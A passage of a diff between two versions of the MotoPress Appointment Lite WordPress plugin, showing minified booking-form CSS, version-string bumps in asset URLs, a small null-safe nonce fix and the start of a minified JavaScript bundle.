.mpa-customer-details,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-customer-details{padding:0}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-order-details,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-order-details{margin-bottom:40px}@media screen and (min-width: 800px){.appointment-form-shortcode .mpa-booking-step-checkout .mpa-capacity-details .mpa-bring-people,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-capacity-details .mpa-bring-people{display:inline-block;width:auto}}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-details,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-details{list-style:none;margin:0;padding:0;display:flex;flex-wrap:wrap}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-details>li,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-details>li{flex:1 0 auto;margin:0 1.5em 1.5em 0;padding-left:0;padding-right:1.5em;border-right:1px dashed #d3ced2}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-details>li:last-of-type,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-details>li:last-of-type{border:none;margin-right:0;padding-right:0}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-details>li>.mpa-label,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-details>li>.mpa-label{display:block;font-size:.85em}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-details>li>.mpa-value,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-details>li>.mpa-value{font-weight:bold}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-details>li>.mpa-capacity,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-details>li>.mpa-capacity{display:block;font-size:x-small}.appointment-form-shortcode .mpa-booking-step-checkout .mpa-reservation-capacity,.appointment-form-widget>.widget-body .mpa-booking-step-checkout .mpa-reservation-capacity{display:block}.appointment-form-shortcode .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateways,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateways{padding:0;margin:0;list-style:none}.appointment-form-shortcode .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateways>li,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateways>li{margin-top:1em}.appointment-form-shortcode .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateways label,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateways label{display:inline}.appointment-form-shortcode .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateway-title,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateway-title{font-weight:bold}.appointment-form-shortcode .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateway-description,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-billing-details .mpa-payment-gateway-description{margin:0}.appointment-form-shortcode .mpa-booking-step-payment .mpa-billing-details .mpa-billing-fields,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-billing-details .mpa-billing-fields{margin-top:.5em}.appointment-form-shortcode .mpa-booking-step-payment .mpa-reservation-capacity,.appointment-form-widget>.widget-body .mpa-booking-step-payment .mpa-reservation-capacity{display:block}.appointment-form-shortcode .mpa-booking-step-booking,.appointment-form-widget>.widget-body .mpa-booking-step-booking{flex-grow:2}.appointment-form-shortcode .mpa-booking-step-booking .mpa-reservation-capacity,.appointment-form-widget>.widget-body .mpa-booking-step-booking .mpa-reservation-capacity{display:block;font-weight:normal}.mpa-service-employees{display:flex;flex-wrap:wrap;align-items:center}.mpa-service-employees img{width:45px;height:45px;border-radius:50%;border:3px solid #fff;margin-left:-15px}.mpa-service-employees img:first-child{margin-left:0}.mpa-service-employees img:first-child{z-index:5}.mpa-service-employees img:nth-child(2){z-index:4}.mpa-service-employees img:nth-child(3){z-index:3}.mpa-service-employees img:nth-child(4){z-index:2}.mpa-service-employees img:nth-child(5){z-index:1}.mpa-service-employees .more-employees,.mpa-service-employees .employee-name{margin-left:5px}.mpa-booking-details .mpa-booking-details-section{margin-bottom:1.5em;border:1px solid #eee;padding:.75em 0}.mpa-booking-details .mpa-booking-details-section:last-child{margin-bottom:0}.mpa-booking-details .mpa-booking-details-section-row{display:flex;flex-wrap:wrap;margin:0}.mpa-booking-details .mpa-booking-details-section-row .cell{box-sizing:border-box;width:100%;padding:.25em 1em}@media(min-width: 768px){.mpa-booking-details .mpa-booking-details-section-row .cell{width:50%}}.mpa-booking-details .booking-reservations,.mpa-booking-details .booking-payments{padding:0}.mpa-booking-details .reservation{border-bottom:1px solid #eee;padding:.75em 0;margin-bottom:0}.mpa-booking-details .reservation:last-child{border:0}.mpa-booking-details .reservation .reservation-calendar-links{display:flex;width:100%}.mpa-booking-details .reservation-title,.mpa-booking-details .reservation-full-date{font-weight:700}.mpa-booking-details .mpa-reservation-capacity{display:block;font-weight:normal}.mpa-booking-details .payment{border-bottom:1px solid #eee;padding:.75em 0}.mpa-booking-details .payment:last-child{border:0}.mpa-booking-details-shortcode+.mpa-direct-link-booking-cancellation-link-shortcode{margin-top:1.5em}.mpa-account-menu{margin-bottom:1.5em}.mpa-account-menu ul{list-style:none;padding:0;margin:0}.mpa-account-menu li{display:inline-block;padding:0;margin:0 .5em 0 0}.mpa-account-menu li:last-child{margin-right:0}.mpa-account-menu li::after,.mpa-account-menu li::before{display:none}.mpa-account-bookings{table-layout:auto;font-size:.85em}@media screen and (max-width: 767px){.mpa-account-bookings thead{display:none}.mpa-account-bookings tr{display:block}.mpa-account-bookings td{display:flex}.mpa-account-bookings td:before{content:attr(data-title) " ";width:50%}}.mpa-account-bookings .booking-number{justify-content:center;gap:.25em}.mpa-account-bookings .booking-number:before{width:auto}.mpa-account-bookings .booking-reservations{flex-direction:column}.mpa-account-bookings .booking-reservations:before{display:none}.mpa-account-bookings .booking-reservation{margin-bottom:.5em}.mpa-account-bookings .booking-reservation:last-child{margin-bottom:0}.mpa-account-bookings .reservation-title{display:block}.mpa-account-details .mpa-customer-details{border:1px solid #eee;padding:.75em 0}.mpa-account-details .mpa-customer-details-row{display:flex;flex-wrap:wrap;margin:0}.mpa-account-details .mpa-customer-details-row .cell{box-sizing:border-box;width:100%;padding:.25em 1em}@media(min-width: 768px){.mpa-account-details .mpa-customer-details-row .cell{width:50%}}@media screen and (min-width: 992px){.appointment-form-widget>.widget-body .mpa-booking-step-service-form{width:100%}.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-input-container{flex-wrap:wrap}.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-date-wrapper{margin-bottom:20px}.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper{flex:1 0 100%}.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-times{position:relative}}.appointment-form-widget>.widget-body .mpa-booking-step-period .mpa-time-wrapper .mpa-times{max-height:300px}.mpa-stripe-payment-container{margin-bottom:1em}.mpa-stripe-payment-container .mpa-stripe-payment-methods>ul{cursor:pointer;margin:0 0 .5em 0;padding:0;list-style:none}.mpa-stripe-payment-container .mpa-stripe-payment-methods .mpa-stripe-payment-method{display:inline-block;margin:0 1.5em 0 0;padding-top:.5em;padding-bottom:.5em}.mpa-stripe-payment-container .mpa-stripe-payment-methods .mpa-stripe-payment-method:last-of-type{margin-right:0}.mpa-stripe-payment-container .mpa-stripe-payment-methods .mpa-stripe-payment-method.active label{box-shadow:0 2px currentColor}.mpa-stripe-payment-container .mpa-stripe-payment-methods .mpa-stripe-payment-method label{cursor:pointer}.mpa-stripe-payment-container .mpa-stripe-payment-methods .mpa-stripe-payment-method input[type=radio]{display:none}.mpa-stripe-payment-container .mpa-stripe-payment-fields fieldset{border:none;padding:0;margin:0}.mpa-stripe-payment-container .mpa-stripe-payment-fields .StripeElement{box-sizing:border-box;padding:15px 12px;border:1px solid rgba(0,0,0,0);border-radius:4px;background-color:#fff;box-shadow:0 1px 6px 0 #e6ebf1;-webkit-transition:box-shadow 150ms ease;transition:box-shadow 150ms ease;margin-top:.5em;margin-bottom:.5em}.mpa-stripe-payment-container .mpa-stripe-payment-fields .StripeElement--focus{box-shadow:0 1px 3px 0 #cfd7df}.mpa-stripe-payment-container .mpa-stripe-payment-fields .StripeElement--invalid{border-color:#fa755a}.mpa-stripe-payment-container .mpa-stripe-payment-fields .StripeElement--webkit-autofill{background-color:#fefde5 !important}.mpa-stripe-payment-container .mpa-stripe-payment-fields .mpa-stripe-payment-request-button-element.StripeElement{padding:0}.mpa-stripe-payment-container .mpa-stripe-payment-fields .mpa-stripe-payment-request-button-separator{text-transform:uppercase;text-align:center}.mpa-stripe-payment-container .mpa-stripe-payment-fields .mpa-stripe-payment-request-button-separator:before,.mpa-stripe-payment-container .mpa-stripe-payment-fields .mpa-stripe-payment-request-button-separator:after{content:" - "}.mpa-stripe-payment-container .mpa-errors{color:#e25950}.mpa-paypal-error{margin:5px 0;color:#e25950}
\ No newline at end of file
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/settings-page.css /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/css/settings-page.css
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/settings-page.css	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/css/settings-page.css	2026-06-30 15:16:08.000000000 +0000
@@ -38,7 +38,7 @@
   left: 0;
   width: 100%;
   height: 100%;
-  background: no-repeat center url("../images/loading.gif?ver=2.4.5"), rgba(255, 255, 255, 0.5);
+  background: no-repeat center url("../images/loading.gif?ver=2.4.6"), rgba(255, 255, 255, 0.5);
   background-size: 32px 32px;
   z-index: 9000;
 }
@@ -81,7 +81,7 @@
   display: inline-block;
   width: 20px;
   height: 20px;
-  background: no-repeat center url("../images/preloader.gif?ver=2.4.5");
+  background: no-repeat center url("../images/preloader.gif?ver=2.4.6");
 }
 
 .mpa-table th {
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/settings-page.min.css /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/css/settings-page.min.css
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/settings-page.min.css	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/css/settings-page.min.css	2026-06-30 15:16:08.000000000 +0000
@@ -1 +1 @@
-.wp-core-ui .icon-button{display:flex;align-items:center;padding:5px}.wrap h2.wp-heading-inline{display:inline-block;margin-right:5px;margin-bottom:.25em}.wrap h2.wp-heading-inline+.page-title-action{top:-1px}#poststuff h2.mpa-fields-group-title{font-size:1.3em;line-height:1.3;font-weight:600;margin:1em 0;padding:0}.mpa-hide{display:none !important}.mpa-error{color:#e25950;font-weight:bold;font-style:italic}.mpa-loading{display:block;position:absolute;top:0;left:0;width:100%;height:100%;background:no-repeat center url("../images/loading.gif?ver=2.4.5"),rgba(255,255,255,.5);background-size:32px 32px;z-index:9000}.mpa-loaded>.mpa-loading{display:none}.mpa-table-centered td,.mpa-table-centered th{text-align:center}.mpa-table-centered .no-items td,.mpa-table-centered .no-items th{text-align:left}table.fitwidth{table-layout:auto}th.fitwidth,td.fitwidth{width:1%;white-space:nowrap}.mpa-description{font-style:italic}.mpa-small-description{font-size:75%}.center-text{text-align:center}.mpa-preloader{display:inline-block;width:20px;height:20px;background:no-repeat center url("../images/preloader.gif?ver=2.4.5")}.mpa-table th{padding-left:10px;vertical-align:middle}.mpa-deprecated{opacity:.5}.mpa-deprecated strong{color:darkred;cursor:help}.mpa-list-table .column-label a{font-weight:bold}.mpa-list-table .column-actions{width:100px}#mpa-admin-emails .column-label,#mpa-customer-emails .column-label{width:40%}#mpa-admin-emails .column-label a,#mpa-customer-emails .column-label a{font-weight:bold}#mpa-admin-emails .column-switch,#mpa-customer-emails .column-switch{width:100px}#mpa-admin-emails .column-type,#mpa-customer-emails .column-type{width:120px}#mpa-admin-emails .column-recipients,#mpa-customer-emails .column-recipients{width:calc(60% - 320px);min-width:25%}#mpa-email-template-parts .column-label{width:calc(100% - 100px)}#mpa_stripe_payment_gateway_payment_methods-apple_pay,#mpa_stripe_payment_gateway_payment_methods-google_pay,#mpa_stripe_payment_gateway_payment_methods-link{margin-left:22px}.mpa-settings__tab-content{display:flex;flex-wrap:nowrap}.mpa-settings__tab-sections{display:flex;flex-direction:column;margin:1.2em 1.5em 1.2em 0;row-gap:.5em;border-right:2px dotted #ddd;padding-right:1.5em;min-width:130px}.mpa-settings__tab-sections .mpa-settings__tab-section{white-space:nowrap;text-align:right}.mpa-settings__tab-section--active{color:#000;display:inline-block;margin:0}.mpa-container-ctrl-wrapper>td{padding:0}.mpa-container-ctrl__label{margin-bottom:0}.mpa-checkbox-ctrl input{margin-top:0}.mpa-color-picker-ctrl .sp-replacer{padding:0}.mpa-color-picker-ctrl .sp-replacer .sp-preview{border:none;margin:auto}.mpa-color-picker-ctrl .sp-replacer .sp-dd{height:auto}.mpa-color-picker-ctrl .sp-container{border:none}.mpa-color-picker-ctrl .sp-container .sp-picker-container,.mpa-color-picker-ctrl .sp-container .sp-palette-container{margin:auto}.iti__flag{background-image:url("../js/intl-tel-input-17.0.19/img/flags.png")}@media(-webkit-min-device-pixel-ratio: 2),(min-resolution: 192dpi){.iti__flag{background-image:url("../js/intl-tel-input-17.0.19/img/flags@2x.png")}}.mpa-checkout-form .iti{width:100%}.mpa-phone-number--invalid{border-color:red;color:red}.mpa-phone-field-error{color:red;margin:5px 0;display:inline-block}.wp-admin .mpa-phone-number--invalid{border:1px solid red;color:red}
\ No newline at end of file
+.wp-core-ui .icon-button{display:flex;align-items:center;padding:5px}.wrap h2.wp-heading-inline{display:inline-block;margin-right:5px;margin-bottom:.25em}.wrap h2.wp-heading-inline+.page-title-action{top:-1px}#poststuff h2.mpa-fields-group-title{font-size:1.3em;line-height:1.3;font-weight:600;margin:1em 0;padding:0}.mpa-hide{display:none !important}.mpa-error{color:#e25950;font-weight:bold;font-style:italic}.mpa-loading{display:block;position:absolute;top:0;left:0;width:100%;height:100%;background:no-repeat center url("../images/loading.gif?ver=2.4.6"),rgba(255,255,255,.5);background-size:32px 32px;z-index:9000}.mpa-loaded>.mpa-loading{display:none}.mpa-table-centered td,.mpa-table-centered th{text-align:center}.mpa-table-centered .no-items td,.mpa-table-centered .no-items th{text-align:left}table.fitwidth{table-layout:auto}th.fitwidth,td.fitwidth{width:1%;white-space:nowrap}.mpa-description{font-style:italic}.mpa-small-description{font-size:75%}.center-text{text-align:center}.mpa-preloader{display:inline-block;width:20px;height:20px;background:no-repeat center url("../images/preloader.gif?ver=2.4.6")}.mpa-table th{padding-left:10px;vertical-align:middle}.mpa-deprecated{opacity:.5}.mpa-deprecated strong{color:darkred;cursor:help}.mpa-list-table .column-label a{font-weight:bold}.mpa-list-table .column-actions{width:100px}#mpa-admin-emails .column-label,#mpa-customer-emails .column-label{width:40%}#mpa-admin-emails .column-label a,#mpa-customer-emails .column-label a{font-weight:bold}#mpa-admin-emails .column-switch,#mpa-customer-emails .column-switch{width:100px}#mpa-admin-emails .column-type,#mpa-customer-emails .column-type{width:120px}#mpa-admin-emails .column-recipients,#mpa-customer-emails .column-recipients{width:calc(60% - 320px);min-width:25%}#mpa-email-template-parts .column-label{width:calc(100% - 100px)}#mpa_stripe_payment_gateway_payment_methods-apple_pay,#mpa_stripe_payment_gateway_payment_methods-google_pay,#mpa_stripe_payment_gateway_payment_methods-link{margin-left:22px}.mpa-settings__tab-content{display:flex;flex-wrap:nowrap}.mpa-settings__tab-sections{display:flex;flex-direction:column;margin:1.2em 1.5em 1.2em 0;row-gap:.5em;border-right:2px dotted #ddd;padding-right:1.5em;min-width:130px}.mpa-settings__tab-sections .mpa-settings__tab-section{white-space:nowrap;text-align:right}.mpa-settings__tab-section--active{color:#000;display:inline-block;margin:0}.mpa-container-ctrl-wrapper>td{padding:0}.mpa-container-ctrl__label{margin-bottom:0}.mpa-checkbox-ctrl input{margin-top:0}.mpa-color-picker-ctrl .sp-replacer{padding:0}.mpa-color-picker-ctrl .sp-replacer .sp-preview{border:none;margin:auto}.mpa-color-picker-ctrl .sp-replacer .sp-dd{height:auto}.mpa-color-picker-ctrl .sp-container{border:none}.mpa-color-picker-ctrl .sp-container .sp-picker-container,.mpa-color-picker-ctrl .sp-container .sp-palette-container{margin:auto}.iti__flag{background-image:url("../js/intl-tel-input-17.0.19/img/flags.png")}@media(-webkit-min-device-pixel-ratio: 2),(min-resolution: 192dpi){.iti__flag{background-image:url("../js/intl-tel-input-17.0.19/img/flags@2x.png")}}.mpa-checkout-form .iti{width:100%}.mpa-phone-number--invalid{border-color:red;color:red}.mpa-phone-field-error{color:red;margin:5px 0;display:inline-block}.wp-admin .mpa-phone-number--invalid{border:1px solid red;color:red}
\ No newline at end of file
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/js/divi-modules.js /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/js/divi-modules.js
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/js/divi-modules.js	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/js/divi-modules.js	2026-06-30 15:16:08.000000000 +0000
@@ -2161,6 +2161,7 @@
 	   * @access protected

 	   */
 	  setupProperties() {
+	    var _mpaData$nonces$mpa_c;
 	    /**

 	     * @since 1.0

 	     * @var {Map}

@@ -2200,7 +2201,7 @@
 
 	    // Later, StepPayment will replace the nonce with
 	    // "mpa_create_booking_{$bookingId}"
-	    this.bookingNonce = mpaData.nonces.mpa_create_booking;
+	    this.bookingNonce = (_mpaData$nonces$mpa_c = mpaData?.nonces?.mpa_create_booking) !== null && _mpaData$nonces$mpa_c !== void 0 ? _mpaData$nonces$mpa_c : ''; // Missing for blocks
 	  }
 
 	  /**

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/js/divi-modules.min.js /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/js/divi-modules.min.js
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/js/divi-modules.min.js	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/js/divi-modules.min.js	2026-06-30 15:16:08.000000000 +0000
@@ -1 +1 @@
-!function(){"use strict";!function(e,t,i){function s(e){return e.filter(((e,t,i)=>i.indexOf(e)===t))}function a(e,t){return e.filter((e=>-1!=t.indexOf(e)))}function r(e,t){let i=Math.min(e.length,t.length),s={};for(let a=0;a<i;a++)s[e[a]]=t[a];return s}function n(e,t,i=1){let s=i||1,a=Math.abs(Math.floor((t-e)/s))+1;return[...Array(a).keys()].map((t=>t*i+e))}let o="/motopress/appointment/v1";function l(e,t={},i="GET"){return new Promise(((s,a)=>{wp.apiRequest({path:o+e,type:i,data:t}).done((e=>s(e))).fail(((e,t)=>{let i="parsererror";i=e.responseJSON&&e.responseJSON.message?e.responseJSON.message:`Status: ${t}`,"parsererror"==i&&(i="REST request failed. Maybe PHP error on the server side. Check PHP logs."),a(new Error(i))}))}))}function h(e,t={}){return l(e,t,"GET")}function c(e,t){return l(e,t,"POST")}class p{constructor(){this.settings=this.getDefaults(),this.loadingPromise=this.load()}getDefaults(){return{plugin_name:"Appointment Booking",today:"2030-01-01",business_name:"",default_time_step:30,default_booking_status:"confirmed",confirmation_mode:"auto",terms_page_id_for_acceptance:0,allow_multibooking:!1,allow_coupons:!1,allow_customer_account_creation:!1,country:"",currency:"EUR",currency_symbol:"&euro;",currency_position:"before",decimal_separator:".",thousand_separator:",",number_of_decimals:2,timezone:"UTC",date_format:"F j, Y",time_format:"H:i",week_starts_on:0,thumbnail_size:{width:150,height:150},flatpickr_locale:"en",enable_payments:!1,active_gateways:[],reservation_received_page_url:"",failed_transaction_page_url:"",default_payment_gateway:""}}load(){return new Promise(((e,t)=>{h("/settings").then((e=>this.settings=e),(e=>console.error("Unable to load public settings.",e))).finally((()=>e(this.settings)))}))}ready(){return this.loadingPromise}getPluginName(){return this.settings.plugin_name}getBusinessDate(){return this.settings.today}getBusinessName(){return this.settings.business_name}getTimeStep(){return this.settings.default_time_step}getDefaultBookingStatus(){return this.settings.default_booking_status}getConfirmationMode(){return this.settings.confirmation_mode}getTermsPageIdForAcceptance(){return this.settings.terms_page_id_for_acceptance}isMultibookingEnabled(){return this.settings.allow_multibooking}isCouponsEnabled(){return this.settings.allow_coupons}isAllowCustomerAccountCreation(){return this.settings.allow_customer_account_creation}getCountry(){return this.settings.country}getCurrency(){return this.settings.currency}getCurrencySymbol(){return this.settings.currency_symbol}getCurrencyPosition(){return this.settings.currency_position}getDecimalSeparator(){return this.settings.decimal_separator}getThousandSeparator(){return this.settings.thousand_separator}getDecimalsCount(){return this.settings.number_of_decimals}getTimezone(){return this.settings.timezone}getDateFormat(){return this.settings.date_format}getTimeFormat(){return this.settings.time_format}getFirstDayOfWeek(){return this.settings.week_starts_on}getThumbnailSize(){return this.settings.thumbnail_size}getFlatpickrLocale(){return this.settings.flatpickr_locale}isPaymentsEnabled(){return this.settings.enable_payments}getActiveGateways(){return this.settings.active_gateways}getReservationReceivedPageUrl(){return this.settings.reservation_received_page_url}getFailedTransactionPageUrl(){return this.settings.failed_transaction_page_url}getDefaultPaymentGateway(){return this.settings.default_payment_gateway}}class d{constructor(){this.settingsCtrl=new p,this.loadingPromise=this.load()}load(){return Promise.all([this.settingsCtrl.ready()]).then((()=>this))}ready(){return this.loadingPromise}settings(){return this.settingsCtrl}static getInstance(){return null==d.instance&&(d.instance=new d),d.instance}}function m(){return d.getInstance()}const u="undefined"!=typeof wp&&wp.i18n&&wp.i18n.__?wp.i18n.__:(e,t="")=>e,g="undefined"!=typeof wp&&wp.i18n&&wp.i18n._x?wp.i18n._x:(e,t,i="")=>e;"undefined"!=typeof wp&&wp.i18n&&wp.i18n.sprintf&&wp.i18n.sprintf;const y={weekdays:{shorthand:[u("Sun","motopress-appointment"),u("Mon","motopress-appointment"),u("Tue","motopress-appointment"),u("Wed","motopress-appointment"),u("Thu","motopress-appointment"),u("Fri","motopress-appointment"),u("Sat","motopress-appointment")],longhand:[u("Sunday","motopress-appointment"),u("Monday","motopress-appointment"),u("Tuesday","motopress-appointment"),u("Wednesday","motopress-appointment"),u("Thursday","motopress-appointment"),u("Friday","motopress-appointment"),u("Saturday","motopress-appointment")]},months:{shorthand:[u("Jan","motopress-appointment"),u("Feb","motopress-appointment"),u("Mar","motopress-appointment"),u("Apr","motopress-appointment"),g("May","Month (short)","motopress-appointment"),u("Jun","motopress-appointment"),u("Jul","motopress-appointment"),u("Aug","motopress-appointment"),u("Sep","motopress-appointment"),u("Oct","motopress-appointment"),u("Nov","motopress-appointment"),u("Dec","motopress-appointment")],longhand:[u("January","motopress-appointment"),u("February","motopress-appointment"),u("March","motopress-appointment"),u("April","motopress-appointment"),g("May","Month","motopress-appointment"),u("June","motopress-appointment"),u("July","motopress-appointment"),u("August","motopress-appointment"),u("September","motopress-appointment"),u("October","motopress-appointment"),u("November","motopress-appointment"),u("December","motopress-appointment")]},amPM:["AM","PM"],firstDayOfWeek:m().settings().getFirstDayOfWeek()};function f(t,i="public"){if("string"==typeof t)return t;if("internal"==i)return f(t,"Y-m-d");if("public"==i)return e.format(m().settings().getDateFormat(),t);let s=(e,t=2)=>("00"+e).slice(-t),a=!1;return i.split("").map((e=>{if(a)return a=!1,e;switch(e){case"\\":return a=!0,"";case"j":return t.getDate();case"d":return s(t.getDate());case"D":return y.weekdays.shorthand[t.getDay()];case"l":return y.weekdays.longhand[t.getDay()];case"N":return t.getDay()||7;case"w":return t.getDay();case"z":let i=new Date(t.getFullYear(),0,1),r=i.getTimezoneOffset()-t.getTimezoneOffset(),n=t-i+60*r*1e3,o=864e5;return Math.floor(n/o);case"W":let l=new Date(Date.UTC(t.getFullYear(),t.getMonth(),t.getDate())),h=l.getUTCDay()||7;l.setUTCDate(l.getUTCDate()+4-h);let c=new Date(Date.UTC(l.getUTCFullYear(),0,1)),p=864e5;return Math.ceil(((l-c)/p+1)/7);case"F":return y.months.longhand[t.getMonth()];case"M":return y.months.shorthand[t.getMonth()];case"m":return s(t.getMonth()+1);case"n":return t.getMonth()+1;case"t":return new Date(t.getFullYear(),t.getMonth()+1,0).getDate();case"Y":return t.getFullYear();case"y":return String(t.getFullYear()).substring(2);case"L":return t.getFullYear()%4==0?1:0;case"A":return y.amPM[t.getHours()>11?1:0];case"a":return y.amPM[t.getHours()>11?1:0].toLowerCase();case"H":return s(t.getHours());case"h":return s(t.getHours()%12||12);case"G":return t.getHours();case"g":return t.getHours()%12||12;case"i":return s(t.getMinutes());case"s":return s(t.getSeconds());case"v":return s(t.getMilliseconds(),3);case"u":return s(t.getMilliseconds(),3)+"000";case"O":case"P":let d=-t.getTimezoneOffset(),m=d>=0?"+":"-",u=Math.floor(Math.abs(d)/60),g=Math.abs(d)%60,b="O"==e?"":":";return m+s(u)+b+s(g);case"Z":return 60*t.getTimezoneOffset();case"U":return Math.floor(t.getTime()/1e3);case"c":return f(t,"Y-m-d\\TH:i:sP");case"r":return f(t,"D, d M Y H:i:s O");case"S":case"o":case"B":case"e":case"T":case"I":return"";default:return e}})).join("")}function b(e){let t=e.match(/(\d{4})-(\d{2})-(\d{2})/);if(null!=t){let e=parseInt(t[1]),i=parseInt(t[2]),s=parseInt(t[3]);return new Date(e,i-1,s)}return null}function v(){let e=new Date;return e.setHours(0,0,0,0),e}function _(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var S,w,P={exports:{}},C={exports:{}};S="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",w={rotl:function(e,t){return e<<t|e>>>32-t},rotr:function(e,t){return e<<32-t|e>>>t},endian:function(e){if(e.constructor==Number)return 16711935&w.rotl(e,8)|4278255360&w.rotl(e,24);for(var t=0;t<e.length;t++)e[t]=w.endian(e[t]);return e},randomBytes:function(e){for(var t=[];e>0;e--)t.push(Math.floor(256*Math.random()));return t},bytesToWords:function(e){for(var t=[],i=0,s=0;i<e.length;i++,s+=8)t[s>>>5]|=e[i]<<24-s%32;return t},wordsToBytes:function(e){for(var t=[],i=0;i<32*e.length;i+=8)t.push(e[i>>>5]>>>24-i%32&255);return t},bytesToHex:function(e){for(var t=[],i=0;i<e.length;i++)t.push((e[i]>>>4).toString(16)),t.push((15&e[i]).toString(16));return t.join("")},hexToBytes:function(e){for(var t=[],i=0;i<e.length;i+=2)t.push(parseInt(e.substr(i,2),16));return t},bytesToBase64:function(e){for(var t=[],i=0;i<e.length;i+=3)for(var s=e[i]<<16|e[i+1]<<8|e[i+2],a=0;a<4;a++)8*i+6*a<=8*e.length?t.push(S.charAt(s>>>6*(3-a)&63)):t.push("=");return t.join("")},base64ToBytes:function(e){e=e.replace(/[^A-Z0-9+\/]/gi,"");for(var t=[],i=0,s=0;i<e.length;s=++i%4)0!=s&&t.push((S.indexOf(e.charAt(i-1))&Math.pow(2,-2*s+8)-1)<<2*s|S.indexOf(e.charAt(i))>>>6-2*s);return t}},C.exports=w;var k=C.exports,$={utf8:{stringToBytes:function(e){return $.bin.stringToBytes(unescape(encodeURIComponent(e)))},bytesToString:function(e){return decodeURIComponent(escape($.bin.bytesToString(e)))}},bin:{stringToBytes:function(e){for(var t=[],i=0;i<e.length;i++)t.push(255&e.charCodeAt(i));return t},bytesToString:function(e){for(var t=[],i=0;i<e.length;i++)t.push(String.fromCharCode(e[i]));return t.join("")}}},T=$,I=function(e){return null!=e&&(D(e)||function(e){return"function"==typeof e.readFloatLE&&"function"==typeof e.slice&&D(e.slice(0,0))}(e)||!!e._isBuffer)};function D(e){return!!e.constructor&&"function"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}!function(){var e=k,t=T.utf8,i=I,s=T.bin,a=function(r,n){r.constructor==String?r=n&&"binary"===n.encoding?s.stringToBytes(r):t.stringToBytes(r):i(r)?r=Array.prototype.slice.call(r,0):Array.isArray(r)||r.constructor===Uint8Array||(r=r.toString());for(var o=e.bytesToWords(r),l=8*r.length,h=1732584193,c=-271733879,p=-1732584194,d=271733878,m=0;m<o.length;m++)o[m]=16711935&(o[m]<<8|o[m]>>>24)|4278255360&(o[m]<<24|o[m]>>>8);o[l>>>5]|=128<<l%32,o[14+(l+64>>>9<<4)]=l;var u=a._ff,g=a._gg,y=a._hh,f=a._ii;for(m=0;m<o.length;m+=16){var 